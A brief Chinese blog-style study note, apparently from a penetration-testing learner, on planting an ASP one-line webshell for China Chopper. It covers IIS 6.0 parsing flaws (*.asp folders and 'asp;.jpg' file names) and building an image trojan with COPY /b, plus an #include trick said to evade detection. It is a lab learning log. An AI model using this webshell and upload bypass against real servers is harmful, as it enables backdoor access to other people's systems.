學滲透一定要動手操作，一個簡單的動作重複N遍以上就能學會了。

    最近在學習一句話木馬的使用，加上中國菜刀，真是個居家旅行的必備技能。舉例說asp的一句話：

<%execute request(chr(97))%>

a就是連線密碼了。（一定要寫對chr（97），我看著書寫char（97）被坑了一下午...還以為是伺服器設定問題）。但是今天我練習的時候遇到了只能上傳圖片的漏洞，然後就去網上找姿勢，就學習了IIS6.0的解析漏洞了。

我的練習環境是windows 2003的IIS6.0，這個版本有兩個解析漏洞：

1、在網站目錄中如果存在名為*.asp、*.asa的目錄，那該目錄內的任何檔案都會被IIS解析為asp檔案並執行。

2、在上傳圖片木馬的時候，將檔名改為*.asp;.jpg，該檔案檔案都會被IIS解析為asp檔案並執行。

第一個漏洞測試成功了，在網站目錄下建立了一個1.asp目錄，在目錄下上傳了內容為<%execute request(chr(97))%>但檔名為cmd.jpg的”影象“檔案，用菜刀成功連線。

第二個漏洞同理，不同的只是之間建立一個同樣內容的cmd.asp;.jpg檔案。

至於製作asp圖片木馬，今天學到了一個copy拼接的方法：

準備一張圖片（儘可能小點吧，10k左右？對載入應該有影響），命名為1.jpg

寫asp一句話木馬，命名為1.asp

開啟cmd，執行COPY 1.jpg /b + 1.asp /a asp.jpg拼接得到asp.jpg即時asp圖片木馬了。【/b表示指定一個二進位制檔案，/a表示指定一個ASCII檔案】

可以再建立一個asp.asp檔案，內容為<!-- #include file="asp.jpg"-->，放在同一個目錄下，聽說可以繞過檢測。明天試一下～～～